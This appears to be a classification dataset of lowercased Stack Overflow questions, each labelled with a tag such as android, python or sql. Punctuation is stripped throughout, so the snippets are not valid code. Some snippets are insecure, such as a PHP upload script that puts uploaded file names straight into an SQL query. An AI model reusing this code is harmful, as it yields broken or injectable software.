uploading video upto 50mb to the server  i want upload videos from my android apps to server.when iam trying to upload the video my apps shows<br><code>04-23 13:07:41.602: error/dalvikvm-heap(519): out of memory on a 15607356-byte allocation.</code>i dont know why the error is occuring.my question is  can we upload video of size upto 50mb using the below code if anybody knows please help me...<br>   <pre><code>private void dofileupload(){             httpurlconnection conn = null;             dataoutputstream dos = null;             datainputstream instream = null;             string lineend =  \r\n ;             string twohyphens =  -- ;             string boundary =   ***** ;             int bytesread  bytesavailable  buffersize;             byte[] buffer;             int maxbuffersize = 8*1024*1024;             cursor c = (mainscreenactivity.jeemahwdroiddb).query((mainscreenactivity.table_name)  new string[] {                      (mainscreenactivity.col_hwdxml)}  null  null  null  null                                null);              if(c.getcount()!=0){              c.movetolast();              for(int i=c.getcount()-1; i&gt;=0; i--) {                   value=c.getstring(0);                         }              }             string urlstring = value+ /upload_file.php ;             try             {              //------------------ client request                 uuid uniquekey = uuid.randomuuid();                 fname = uniquekey.tostring();                 log.e( unique name  fname);              fileinputstream fileinputstream = new fileinputstream(new file(selectedpath) );             url url = new url(urlstring);             conn = (httpurlconnection) url.openconnection();             conn.setdoinput(true);             conn.setdooutput(true);             conn.setusecaches(false);             conn.setrequestmethod( post );             conn.setrequestproperty( connection    keep-alive );             conn.setrequestproperty( content-type    multipart/form-data;boundary= +boundary);             dos = new dataoutputstream( conn.getoutputstream() );              dos.writebytes(twohyphens + boundary + lineend);              dos.writebytes( content-disposition: form-data; name=\ uploadedfile\ ;filename=\   + fname +  . +extension+   + lineend);              dos.writebytes(lineend);              bytesavailable = fileinputstream.available();              system.out.println( bytes:---------&gt; +bytesavailable);              buffersize = math.min(bytesavailable  maxbuffersize);              system.out.println( buffer size:---------&gt; +buffersize);              buffer = new byte[buffersize];              system.out.println( buffer:---------&gt; +buffer);              bytesread = fileinputstream.read(buffer 0 buffersize);              system.out.println( bytes read:---------&gt; +bytesread);              while (bytesread &gt; 0)              {               dos.write(buffer  0  buffersize);               bytesavailable = fileinputstream.available();               buffersize = math.min(bytesavailable  maxbuffersize);               bytesread = fileinputstream.read(buffer  0  buffersize);               system.out.println( returned );              }              dos.writebytes(lineend);              dos.writebytes(twohyphens + boundary + twohyphens + lineend);               log.e( debug   file is written );              fileinputstream.close();              dos.flush();              dos.close();              }             catch (malformedurlexception ex)             {                  log.e( debug    error:   + ex.getmessage()  ex);             }             catch (ioexception ioe)             {                  log.e( debug    error:   + ioe.getmessage()  ioe);             }             //------------------ read the server response             try {                   instream = new datainputstream ( conn.getinputstream() );                   string str;                    while (( str = instream.readline()) != null)                   {                        log.e( debug   server response  +str);                   }                   instream.close();              }             catch (ioexception ioex){              log.e( debug    error:   + ioex.getmessage()  ioex);             } </code></pre>,android
"how to use dropdown list with urls  i want to use a drop down list with url  when the user choose an element it will be open like a simple link  this is what i did but it s not working  i still in my current page.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html&gt;
 
 &lt;head&gt;
   &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 
   &lt;script&gt;
     $(document).ready(function() {
           $( #header-link1 ).change(function() {
             if ($(this).val() !=   ) {
               window.location.href = $(this).val();
             }
           });
   &lt;/script&gt;
 
 &lt;/head&gt;
 
 &lt;body&gt;
   &lt;form&gt;
     &lt;select name= forma  id= header-link1 &gt;
       &lt;option value= select option &gt;
         select option
       &lt;/option&gt;
       &lt;option value= http://www.surtymar.com/fr/reglementation-internationale/ &gt;
         réglementation internationale 15
       &lt;/option&gt;
       &lt;option value= http://www.surtymar.com/fr/reglementation-union-europeenne/ &gt;
         réglementation 15
       &lt;/option&gt;
 
     &lt;/select&gt;
   &lt;/form&gt;
 &lt;/body&gt;
 
 &lt;/html&gt;</code></pre>
 </div>
 </div>",html
what s wrong with the following code block   why does the following code block not work    <pre><code>int *p1 = malloc(128);  int main(void) { char *p2 = malloc(128); } </code></pre>,c
add items to a list of a empty list python  not exactly sure how to ask this question but here it goes.    i have a blank list    i want to add an element to a list within a list.    so in my case i am looking through apache.conf looking for any lines that contain serveralias.    if it finds it i want to add that line to the last element of a sub-list. so....   <pre><code>[[ serveralias test.com ]] </code></pre>   if it finds another entry in a particuar vhost  it will add that item to the same sub-list.   <pre><code>[[ serveralias test.com   serveralias neww.com ]] </code></pre>   the the next time it goes through new vhost.  i want to add a list to the end of this list and start again.  and so on...   <pre><code>[[ serveralias test.com   serveralias neww.com ] [ serveralias cranberry.com ]] </code></pre>   i know i did a horrible job describing this.      here is my non-working code so it may be helpful.   <pre><code>def buildvars(fileoutput): import time import re servername=[] docroot=[] serveralias=[[]] vhostdata={} invhost=0 for line in fileoutput.split( \n ):     if line ==    or re.search( ^#  line) or re.search( ^\s+#  line):  #delete blank lines... i dont care about them         pass     else:          if re.search( ^\s*\&lt;virtualhost   line): #check if we are in a vhost             invhost=1  #mark that we are in a vhost             aliascounter=0          elif re.search( ^\s*\&lt;/virtualhost   line):             invhost=0             if aliascounter==0:                 serveralias.append( none )          if invhost == 1:             if re.search( ^\s*servername.*$  line):  #if we are in a vhost  check if the line contains servername                 servername.append(line.strip())  #then append it to the vhosts list             if re.search( ^\s*documentroot.*$  line):                 docroot.append(line.strip())             if re.search( ^\s*serveralias.*$  line):                 if not serveralias:                      serveralias[0[0]].append(line.strip())                 else:                     serveralias[-1[0]].append(line.strip())                     aliascounter+=1 </code></pre>   hope someone knows what i m talking about.  merry christmas!,python
|| ( or ) operator alternative  i obviously got something terribly wrong here so i ll appreciate any good  ol advice. how come that if i write   <pre><code>var x=  ;  var y= 12345 ; (y.substring(0  3) ===  000 || 999 )   x=1: x=0;  console.log (x  y.substring(0  3)); </code></pre>   the answer would be <code>1  123 </code> instead of     <code>0  123 </code>     thanks y all!,javascript
else if statement is wrong how can i go to next statement in nested for loop <pre><code>for(;;){ /********* infinite iteration**************/   for(k=1;k&lt;=8;k++){                   loop1:                      for(n=0; n&lt;48;n++){                         for(i=0; i&lt;8; i++){                                for(j=0; j&lt;natm; j++){                                              ...................                                                 statements;                                }                         }                      }                      e[iter] /*** result of three loops such as n i j ***/                     if (e[iter] &lt; e[iter-1])                     {                     iter++;                     print the value of e[iter];                     /***again calculate the e[iter] ****/                     goto loop1;                   }                   else if(e[iter]&gt;e[iter-1])                  { /**   stop the current for loop of k and move to k=2 **/      /*** here is the problem for me i want to get rid of this loop and goto to the next iteration for loop (k =2)***/                     }                }       } </code></pre>,c
sql count (*) doesn t display the correct data  hello i have got the problem with my query and it display the correct data but not correct amount (count (*)). somehow it should display the data as 1 for that part but it display 4. i don t know where is the error is.   <pre> select vehical_type          vehical_registration_no          count(*)  from van        van_booking  where vehical_type =  ford - transit     and vehical_registration_no &lt;> fk2_vehical_registration_no           not in (select fk2_vehical_registration_no                   from van_booking                   where  2010.10.12  between hire_start_date and hire_end_date                      or  2010.10.11  between hire_start_date and hire_end_date); </pre>   please can anyone help me,sql
how to use gcd or threading  in application currently upload and download of data is done using json webservice. for example: for uploading i am sending json string to webservice and webservice uploading that data to my sql server database.    all these things are done when i fire some event.    1.for conversion of json string i used sbjson. 2.and for http request i used nsurlconnection.    my requirement:    currently  all communication between device and server is done by main thread. my requirement is not to bring load on main thread. instead it happen using background thread. this background thread should responsible for send request and receive there response.    problem:    i need to send data by using background thread or using gcd so that when background uploading is in progress application ui not going to block. but when i am implementing it in my application it is not working as expected.my thread is exiting and not wait for response and blocking the ui too. let me guide which things i need to take care of.,objective-c
"css nth-of-type not selecting integer child  i have code that uses a javascript loop to generate nested divs with various classes. i m having trouble selecting the nth-child of a certain class amongs those nested divs. after the javascript runs  my html should look like this.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.twon:nth-of-type(1) {
     background-color: orange;
 }
 
 .twon:nth-child(2){
   background-color:orange;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code> &lt;div id= grid &gt;
         &lt;div style= width:50px; height:50px; color: white; background-color:blue  class= item onen &gt;1&lt;/div&gt;
         &lt;div style= width:50px; height:50px; color: white; background-color:red  class= item twon &gt;1&lt;/div&gt;
         &lt;div style= width:50px; height:50px; color: white; background-color:green  class= item twon &gt;1&lt;/div&gt;
         &lt;div style= width:50px; height:50px; color: white; background-color:purple  class= item threen &gt;1&lt;/div&gt;
  &lt;/div&gt;</code></pre>
 </div>
 </div>
     i m trying to select the first or second div with the class  twon . but for some reason i can only get the nth-of-type selector to work if i use the n variable e.g. nth-of-type(2n+1)  but it won t work if i want to select the first child by doing something like nth-of-type(1). i also tried straight up nth-child(1) and that doesn t seem to work neither. i think i m making some sort of hierarchy mistake.",css
loading a html 5 page within ios app  we are currently building an ios app and we need to get it submitted asap  however  one of the features are not quite ready so i am thinking as a temporary measure to put in a button which when clicked opens an external page with a html 5 web page within the app and the user can fill in their data and continue within the app as if they never left.    obviously there will be some minor difference between the web page and the actual app but the key is we don t want people leaving the app  i just need the html 5 page to load inside the app so the user gets a good experience.    is this possible and what is the best way to execute this,ios
fatalexecutionengineerror was detected  i am facing a problem while using an unmanaged dll in my .net application and getting the exception   the runtime has encountered a fatal error. the address of the error was at 0x79e71bd7  on thread 0xbb4. the error code is 0xc0000005. this error may be a bug in the clr or in the unsafe or non-verifiable portions of user code. common sources of this bug include user marshaling errors for com-interop or pinvoke  which may corrupt the stack.      my code is below....   <pre><code>[dllimport( itmsdll.dll )] internal static extern int get_month_mask(ref string themask ref  string thebyt  int thest_dow  int thest_week  int theen_dow  int theen_week); </code></pre>   and callng this method by following method in c#   <pre><code>public int getmonthmask(ref string themask ref  string thebyt  int thest_dow  int          thest_week  int theen_dow  int theen_week)         {             return citmsdllmethods.get_month_mask(ref themask  ref thebyt  thest_dow                    thest_week  theen_dow  theen_week);         } </code></pre>   above two methods are from wrapper dll made in .net.    and the above method is called by following code   <pre><code>arc = utility.objcitmsdll.getmonthmask(ref aretmask ref ambyte  ast_dow  ast_wk  aen_dow  aen_wk); </code></pre>   when calling this method it throws exception  fatalexecutionengineerror was detected  and the exception message specified in the top.,.net
html title is not centered  i am working on html code. i need the title of code be in center of page. the title of page (heading) contain 10 words.     the options i am using start the sentence from middle and then move to right. i need the whole .    <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt;  &lt;head&gt;   &lt;meta charset= utf-8 &gt;    &lt;style type= text/css &gt;     .titleline {       position: absolute;       left: 50%;       width: 546px;       height: 74px;       font-family: timesnewromanpsmt;       font-size: 35px;       line-height: 1.06;       color: #222222;     }   &lt;/style&gt; &lt;/head&gt;  &lt;body&gt;   &lt;table&gt;     &lt;tr&gt;       &lt;center class= titleline &gt;you are one step closer to &lt;br/&gt;the experience of a life time&lt;/center&gt;     &lt;/tr&gt;   &lt;/table&gt;   &lt;/body&gt;  &lt;/html&gt; </code></pre>   you see the sentence start at center but moves to right.     can this be fixed somehow.,html
is the number of concurrent connections particular to a specific data base   is the number of concurrent connections particular to a database or to the whole mysql database server,mysql
is there a python builtin for merging dicts where i can pass the function to run when there s key conflicts   exactly what it says on the tin.    is there a builtin python function that will do this    <pre><code>la = { a :[1 2 3]  b :[4 5 6]} na = { a :[7 8 9]  b :[1 2 3]}  la = la.update(na  merge=lambda a b: a.extend(b)) </code></pre>,python
class and external method call  i am going through a data structures course and i am not understanding how a class can call a method that s in another class.<br> the code below has 2 classes: <code>printer</code> and <code>task</code>.<br> notice that class <code>printer</code> has a method called <code>startnext</code>  and this has a variable <code>self.timeremaining</code> that gets assigned the result of <code>newtask.getpages() * 60/self.pagerate</code>.    how can <code>newtaks</code> reference the <code>getpages()</code> method from the task class <br> the code that passes this object to the printer class never references the task class.<br> the code works  since this is what the course gives out but  i just cannot understand how that method is accessed.<br> code:   <pre><code>from pythonds.basic.queue import queue  import random  class printer:      def __init__(self  ppm):         self.pagerate = ppm         self.currenttask = none         self.timeremaining = 0      def tick(self):         if self.currenttask != none:             self.timeremaining = self.timeremaining - 1              if self.timeremaining &lt;= 0:                 self.currenttask = none      def busy(self):         if self.currenttask != none:             return true         else:             return false      def startnext(self  newtask):         self.currenttask = newtask         self.timeremaining = newtask.getpages() * 60/self.pagerate  class task:      def __init__(self  time):         self.timestamp = time         self.pages = random.randrange(1  21)      def getstamp(self):         return self.timestamp      def getpages(self):         return self.pages      def waittime(self  currenttime):         return currenttime - self.timestamp  def simulation(numseconds  pagesperminute):      labprinter = printer(pagesperminute)     printqueue = queue()     waitingtimes = []      for currentsecond in range(numseconds):          if newprinttask():             task = task(currentsecond)             printqueue.enqueue(task)          if (not labprinter.busy()) and (not printqueue.isempty()):             nexttask = printqueue.dequeue()             waitingtimes.append(nexttask.waittime(currentsecond))             labprinter.startnext(nexttask)          labprinter.tick()      averagewait = sum(waitingtimes)/len(waitingtimes)     print  average wait %6.2f secs %3d tasks remaining.  % (averagewait  printqueue.size())  def newprinttask():     num = random.randrange(1  181)      if num == 180:         return true     else:         return false  for i in range(10):     simulation(3600  5) </code></pre>,python
connectionstring changes when adding second gridview  i am forced to use .net webforms wizards for msc labs. i cannot describe my feelings after spring on java  i suffer.    when configuring data-source for a gridview i noticed that connectionstring overwrites itself when you add the second gridview2 and choose the same datasource as for gridview1 to the server form while changing the sql to display data from the other table. as a result it makes gridview1 to query the same data as second gridview2..    how does this work  in java datasource is not bound to any connectionstring/sql statement... - we can use it with as many different sql queries as we want   why here it is an issue     thanks,.net
how to create a spreadsheet kind of display in android   i am trying to display a spreadsheet in the android application with auot adjustable columns and each columns should surrounded by lines.i used the table layout the data are displayed in the table format but i dont know how to surround each column with lines  auto adjustment.if anyone knows it please help me.,android
java.lang.illegalstateexception: can t parcel a recycled bitmap error occurs  i am trying to use the following code to get the bitmap of image which is taken from camera. i used this concept because i am adding image as a watermark to the picture taken.so i just make the activity to draw as a bitmap.    while i am doing this i am getting the following error ( can t parcel a recycled bitmap  error occurs)    i want to send this bitmap to another activity.    how can i check whether i am getting the image or not    <pre><code>else if(v.equals(findviewbyid(r.id.ok_button))){                   topbar.setvisibility(view.gone);                 menubar.setvisibility(view.gone);                 bottom.setvisibility(view.gone);                  view s = ml.getrootview();                 s.setdrawingcacheenabled(true);                  b = s.getdrawingcache();                 log.e( ok   ok );                 intent i=new intent(cameraactivity.this update.class);                  i.putextra( data  b);                  startactivity(i);       //           s.setdrawingcacheenabled(false);         //         s.setvisibility(view.gone);                  finish(); </code></pre>   thanks,android
jquery how to push the data  using find   i have no.of <code>li</code> element which has the class name as <code>c_on</code>  i need to get all this <code>li</code> s attribute and need to push in to array. for this  i did like this  but no result  any one know the good way to do this    <pre><code>var pushempl = [];     pushempl.push($( .demographics ).find( ul.ocptn ).find($( li.c_on )).each(function(){ return $(this).attr( data-ocp )})); </code></pre>   but it not getting the result. any other way to push this,jquery
invalid location of <th> tag  here is the html for a simple jsp page  all the <code>&lt;th&gt;</code> tags are invalid location. i am following a guide of the same type of project i am trying to do and this is how the guide is too..    <pre><code>&lt;html&gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=iso-8859-1 &gt; &lt;title&gt;doctors&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;div align= center &gt;     &lt;h1&gt;doctor list&lt;/h1&gt;     &lt;h3&gt;&lt;a href= newdoctor &gt;new doctor&lt;/a&gt;&lt;/h3&gt;     &lt;table border= 1 &gt;         &lt;th&gt;id&lt;/th&gt;         &lt;th&gt;name&lt;/th&gt;         &lt;th&gt;email&lt;/th&gt;         &lt;th&gt;medical degree&lt;/th&gt;         &lt;th&gt;education&lt;/th&gt;         &lt;th&gt;action&lt;/th&gt;           &lt;c:foreach var= doctor  items= ${doctors} &gt;         &lt;tr&gt;             &lt;td&gt;${doctor.id}&lt;/td&gt;             &lt;td&gt;${doctor.lastname}  ${doctor.firstname}&lt;/td&gt;             &lt;td&gt;${doctor.email}&lt;/td&gt;             &lt;td&gt;${doctor.degree}&lt;/td&gt;             &lt;td&gt;${doctor.education}&lt;/td&gt;             &lt;td&gt;                 &lt;a href= editdoctor id=${doctor.id} &gt;edit&lt;/a&gt;                 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;                 &lt;a href= deletedoctor id=${doctor.id} &gt;delete&lt;/a&gt;             &lt;/td&gt;          &lt;/tr&gt;         &lt;/c:foreach&gt;                  &lt;/table&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   edit: thanks for the quick answers,html
does apple s api allow for media controls in the widgetview   does apple s media api allow for controls to be implemented in the widgetview  or would this require private libraries that will get rejected in the app store,ios
weird boolean conversion ( )  explain pleasy why second expression returns false   <pre><code>   cout &lt;&lt; (4==4) &lt;&lt; endl; //1    cout &lt;&lt; (4==4==4) &lt;&lt; endl; // 0 </code></pre>,c++
combining inner join and left join <h1>edited</h1>   i m not asking how to write good query but those 3 queries return same results.    <strong>query 1</strong>   <pre><code>select v1.id from (     select distinct t1.id     from t1 left join t2 on t1.id = t2.id     where t2.id is null ) v1 inner join (     select distinct t3.id     from t3 left join t4 on t3.id = t4.id     where t4.id is null ) v2 on v1.id = v2.id; </code></pre>   <strong>query 2</strong>   <pre><code>select distinct t1.id from (t1 left join t2 on t1.id = t2.id)     inner join (t3 left join t4 on t3.id = t4.id) on t1.id = t3.id where t2.id is null and t4.id is null; </code></pre>   <strong>query 3</strong>   <pre><code>select distinct t1.id from t1 left join t2 on t1.id = t2.id     inner join t3 on t1.id = t3.id left join t4 on t3.id = t4.id where t2.id is null and t4.id is null; </code></pre>   queries are not hard coded by programmer but generate dynamically by user input.    for example when user inserts <code>find id in t1 (but not in t2) and in t3 (but not in t4)</code>  his indention is <code>query 1</code>. but currently my program generates <code>query 3</code> and it looks like ok. i m wondering this query has a bug in some cases  so that should be changed like <code>query 2</code> or <code>1</code>.    user input (shown above) is just example and converting user input to join statement is difficult at last to me.    thanks in advanced.,sql
error c2593:  operator =  is ambiguous for string template  i keep getting this error for  part of my template  for  this is working fine. i would love to handle this error myself but i don t even know what this means. maybe my operator overload syntax is incorrect  but even without my operator loading method i still get the same error   <pre><code>node.h(12): error c2593:  operator =  is ambiguous   c:\program files (x86)\microsoft visual studio 11.0\vc\include\xstring(992): could be  std::basic_string&lt;_elem _traits _alloc&gt; &amp;std::basic_string&lt;_elem _traits _alloc&gt;::operator =(_elem)  1&gt;          with 1&gt;          [ 1&gt;              _elem=char  1&gt;              _traits=std::char_traits&lt;char&gt;  1&gt;              _alloc=std::allocator&lt;char&gt; 1&gt;          ] 1&gt;          c:\program files (x86)\microsoft visual studio 11.0\vc\include\xstring(987): or        std::basic_string&lt;_elem _traits _alloc&gt; &amp;std::basic_string&lt;_elem _traits _alloc&gt;::operator =(const _elem *)  1&gt;          with 1&gt;          [ 1&gt;              _elem=char  1&gt;              _traits=std::char_traits&lt;char&gt;  1&gt;              _alloc=std::allocator&lt;char&gt; 1&gt;          ]  c:\program files (x86)\microsoft visual studio 11.0\vc\include\xstring(987): or        std::basic_string&lt;_elem _traits _alloc&gt; &amp;std::basic_string&lt;_elem _traits _alloc&gt;::operator =(const _elem *)  1&gt;          with 1&gt;          [ 1&gt;              _elem=char  1&gt;              _traits=std::char_traits&lt;char&gt;  1&gt;              _alloc=std::allocator&lt;char&gt; 1&gt;          ] 1&gt;          while trying to match the argument list  (std::string  int)  1&gt;          c:\users\aaron\documents\visual studio 2012\projects\redblacktreefinal\redblacktreefinal\node.h(10) : while compiling class template member function  node&lt;t&gt;::node(void)  1&gt;          with 1&gt;          [ 1&gt;              t=std::string 1&gt;          ] 1&gt;          c:\users\aaron\documents\visual studio 2012\projects\redblacktreefinal\redblacktreefinal\redblacktree.cpp(145) : see reference to function template instantiation  node&lt;t&gt;::node(void)  being compiled 1&gt;          with 1&gt;          [ 1&gt;              t=std::string 1&gt;          ] 1&gt;          c:\users\aaron\documents\visual studio 2012\projects\redblacktreefinal\redblacktreefinal\redblacktree.cpp(203) : see reference to class template instantiation  node&lt;t&gt;  being compiled 1&gt;          with 1&gt;          [ 1&gt;              t=std::string 1&gt;          ] 1&gt;          c:\users\aaron\documents\visual studio 2012\projects\redblacktreefinal\redblacktreefinal\redblacktree.cpp(197) : while compiling class template member function  bool redblacktree&lt;t&gt;::remove(t)  1&gt;          with 1&gt;          [ 1&gt;              t=std::string 1&gt;          ] 1&gt;          c:\users\aaron\documents\visual studio 2012\projects\redblacktreefinal\redblacktreefinal\redblacktreefinal.cpp(240) : see reference to function template instantiation  bool redblacktree&lt;t&gt;::remove(t)  being compiled 1&gt;          with 1&gt;          [ 1&gt;              t=std::string 1&gt;          ] 1&gt;          c:\users\aaron\documents\visual studio 2012\projects\redblacktreefinal\redblacktreefinal\redblacktreefinal.cpp(213) : see reference to class template instantiation  redblacktree&lt;t&gt;  being compiled 1&gt;          with 1&gt;          [ 1&gt;              t=std::string 1&gt;          ] </code></pre>   my node.h file   <pre><code>#include &lt;cstdlib&gt; #include &lt;cstring&gt;  template &lt;class t&gt; class node {      public :          node&lt;t&gt;(void) {             parent  = null;             left    = null;             right   = null;             data    = null;             isblack = false;         }         node&lt;t&gt;(t x){             parent  = null;             left    = null;             right   = null;             data    = x;             isblack = false;          }         node&lt;t&gt;(const node&lt;t&gt;* &amp; nd){             parent  = nd-&gt;parent;             left    = nd-&gt;left;             right   = nd-&gt;right;             data    = nd-&gt;data;             isblack = nd-&gt;isblack;         }          node&lt;t&gt; &amp; node&lt;t&gt;::operator = (const node&lt;t&gt;* &amp; nd){             parent  = nd-&gt;parent;             left    = nd-&gt;left;             right   = nd-&gt;right;             data    = nd-&gt;data;             isblack = nd-&gt;isblack;             return* this;         }          node&lt;t&gt;* parent;         node&lt;t&gt;* left;         node&lt;t&gt;* right;          t   data;         bool  isblack;      private :  }; </code></pre>   how it s being used   <pre><code>void part2() {   cout &lt;&lt; endl &lt;&lt; endl &lt;&lt;  redblacktree&lt;string&gt; ;   cout &lt;&lt; endl &lt;&lt;  insert file and print contents (load  dump)  &lt;&lt; endl;   redblacktree&lt;string&gt; rb;   string fname =  part2.txt ; //should contain strings   int n = 0;    // read file and load contents into tree   string* arr = readfile&lt;string&gt;(fname  n);   rb.load(arr  n);    // read contents from tree into array   int out_n = 0;   string* out = rb.dump(out_n);    // print dumped contents   int count = 0;   for(int i=0; i &lt; out_n; i++){          if(count % 5 == 0){                  cout &lt;&lt; endl;          }          cout &lt;&lt; left &lt;&lt; setw(13) &lt;&lt; out[i];          count ++;   }   cout &lt;&lt; endl;   statsprint(rb  174  5  9  true);    // remove all items from tree   cout &lt;&lt; endl &lt;&lt; endl &lt;&lt;  empty tree one item at a time ;   for(int i=0; i &lt; n; i++){          rb.remove(arr[i]);   }   statsprint(rb  0  0  0  true);    delete[] arr;   delete[] out; } </code></pre>,c++
update all uitableview cell s detaillabel  the detail label on each cell of my uitableviewcotroller gives the size of the folder it represents.  the size may change  and whenever it does i need to change all of the detaillabels. one way would be to perform a reload  [tableview reloaddata];  however the many images make it slow. is there a way to just update the label     i tried the method but i don t seem to be able to get it to work:   <pre><code>[tableview beginupdates]; … [tableview endupdates];   - (uiview *)tableview:(uitableview *)tableview viewforfooterinsection:(nsinteger)section {     uitableviewcell *cell = [tableview cellforrowatindexpath:indexpath];     cell.detailtextlabel.text = @  ;     return cell; } </code></pre>,ios
deletion using range in python  i want to delete all the elemnts of the list from the index 4 to 9. why isn t the code below working.   <pre><code>m=[0 1 2 3 4 5 6 7 8 9] for i in range(4 10 1):     del m[i] </code></pre>   the output is:   <pre><code>traceback (most recent call last):   file  &lt;pyshell#45&gt;   line 2  in &lt;module&gt;     del m[i] indexerror: list assignment index out of range </code></pre>   but after this the contents of m becomes `[0  1  2  3  5  7  9],python
asp.net can t save image from browser to local machine  me have an projects web use the codefile on me browser photos from local up then save the path file images on database the successful. but on me developers project there in the host you can not to insert the path file images it into database of me. although the project on the local machine works very well my. can someone help me. thank you all here is chunk codes of me:    html code:   <pre><code>&lt;%@ page title=   language= c#  masterpagefile= ~/ad/admin.master  autoeventwireup= true  codefile= editproduct.aspx.cs  inherits= editproduct  %&gt;  &lt;asp:image id= image1  runat= server  height= 91px  width= 96px  /&gt; &lt;asp:fileupload id= fileupload1  runat= server  /&gt;&lt;/td&gt; </code></pre>   code c#:   <pre><code>using system; using system.data; using system.configuration; using system.collections; using system.web; using system.web.security; using system.web.ui; using system.web.ui.webcontrols; using system.web.ui.webcontrols.webparts; using system.web.ui.htmlcontrols; using bal; using dal;      protected void insert()         {             product product = new product();             //gan du lieu vao doi tuong              product.pro_keyword = txtkeyword.value +     + txtpro_name.value;             product.pro_isdiscount = chkkhuyenmai.checked;             product.pro_price = int.parse(txtprice.value);             product.pro_name = txtpro_name.value;             product.pro_warranty = txtwarranty.text;             product.pro_condition = txtcondition.text;             product.title = txttitle.text;             product.keyword = txtgoogle_keyword.text;             product.description = txtdescription.text;              product.pro_position = 0;             product.pro_pricediscount = double.parse(txtpricediscount.value);             product.pro_iscomment = true;             product.pro_content = htmleditor2.text;             //product.pro_intro = htmleditor1.text;             product.pro_intro = txtcode_product.text;             product.cate_id = int.parse(ddlcategory.selectedvalue);              string _sfolder = request.physicalapplicationpath.replace(@ \    / ) +  /images_upload/product/ ;             product.pro_createdate = datetime.now;              if (string.isnullorempty(fileupload1.filename) == false)             {                 product.pro_image = extendfunctional.uploadpicture(_sfolder  fileupload1.postedfile);                 image1.imageurl =  ../images_upload/product/  + product.pro_image;             }             //if (string.isnullorempty(fileupload2.filename) == false)             //{             //    product.pro_bigimage = extendfunctional.uploadpicture(_sfolder  fileupload1.postedfile);             //    image2.imageurl =  /images/products/  + product.pro_bigimage;             //}             product.pro_pricediscount = 0;             product.pro_status = true;             //them moi             product_bal.insert_product(product);             response.write( &lt;script&gt;alert( đã thêm mới thành công! ) ; window.location.href= manageproduct.aspx &lt;/script&gt; );              //messagebox.show( đã thêm mới thành công. );          } </code></pre>   class extendfunctional:   <pre><code>using system; using system.data; using system.configuration; using system.web; using system.web.security; using system.web.ui; using system.web.ui.webcontrols; using system.web.ui.webcontrols.webparts; using system.web.ui.htmlcontrols;       public class extendfunctional     {         public static bool isnumberic(string str)         {             try             {                 if (string.isnullorempty(str)) return false;                 int i = convert.toint32(str);                 return true;             }             catch { return false; }         }           public static void deleteimageinfolder(string path)         {             if (system.io.file.exists(path))             {                 system.io.file.delete(path);             }         }         public static bool isimagefile(string filename)         {             try             {                 string[] extend = new string[] {  .gif    .bmp    .jpg    .jpeg    .png  };                  string ex = filename.substring(filename.length - 4).tolower();                 foreach (string s in extend)                     if (s == ex) return true;                 return false;             }             catch { return false; }         }         public static string uploadpicture(string _sfolder  httppostedfile _file)         {             string _sresult =   ;             if (!system.io.directory.exists(_sfolder))                 system.io.directory.createdirectory(_sfolder);              string _sfilename = system.io.path.getfilename(_file.filename);             try             {                 _file.saveas(_sfolder +  /  + _sfilename);                 _sresult = _sfilename;             }             catch (exception)             {              }             return _sresult;         }     } </code></pre>,asp.net
printf prints a weird character after malloc  i m trying to append on a string. so i m starting with <code>malloc</code> and i append on that string.   <pre><code>char * loc *x *y; x =  4 ; y =  8 ; loc = (char *)malloc(strlen(x)+strlen(y)+6); //its +1 for the comma between  +1 for  \0  and +2 for  -&gt;  +2 for  () . strcat(loc  -&gt; ); strcat(loc  ( ); strcat(loc x); strcat(loc    ); strcat(loc y); strcat(loc  ) ); printf( %s\n   loc); </code></pre>   so when i run it i m waiting to see:   <blockquote>    ->(4 8)  </blockquote>   instead there is a weird character in the beginning of the string and i see this:   <blockquote>    └->(4 8)  </blockquote>   if i clean the string after <code>malloc</code> with <code>strcpy(loc   )</code> it s not there. why does this    <blockquote>    └  </blockquote>   appear in the first place,c
text inside tr is displayed outside the table  the following code used to work nicely for me in the past but now its no longer working.   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;body&gt;  &lt;table border= 1 &gt;   &lt;tr&gt;when     &lt;th&gt;month&lt;/th&gt;     &lt;th&gt;savings&lt;/th&gt;   &lt;/tr&gt;   &lt;tr&gt;when     &lt;td&gt;january&lt;/td&gt;     &lt;td&gt;$100&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;when     &lt;td&gt;february&lt;/td&gt;     &lt;td&gt;$80&lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   the text  when  used to displayed correctly in the same row. but now getting that text outside the table. ie.  the text is displayed thrice and then below that the table is displayed.    is there anything wrong  i tried on mac -chrome/ff/safari.,html
need help regarding uploading video files  i am working on a simple upload script. the thing is that when i upload an image file it is easily uploaded on the server and its data is written in my database but when i try to upload video files like mp4  and audio mp3 file  the server gives me this error.    <a href= http://i.stack.imgur.com/fcq2c.png  rel= nofollow >http://i.stack.imgur.com/fcq2c.png</a>    here is my upload.php code.   <pre><code>&lt; php include( config.php ); function bytestosize1024($bytes  $precision = 2) {     $unit = array( b   kb   mb );     return @round($bytes / pow(1024  ($i = floor(log($bytes  1024))))  $precision).   .$unit[$i]; }  $filename = $_files[ filename ][ name ]; $filetype = $_files[ filename ][ type ]; $filesize = bytestosize1024($_files[ filename ][ size ]  1); $fileid = uniqid(rand()); $query2 =  insert into files (id  name  size  type) values ( $fileid    $filename    $filesize  $filetype ) ;     $result2 = mysql_query($query2);  echo &lt;&lt;&lt;eof &lt;p&gt;your file: {$filename} has been successfully received.&lt;/p&gt; &lt;p&gt;type: {$filetype}&lt;/p&gt; &lt;p&gt;size: {$filesize}&lt;/p&gt; eof; </code></pre>   here is my index.html code   <pre><code>&lt;form action= upload.php  method= post  enctype= multipart/form-data &gt;                         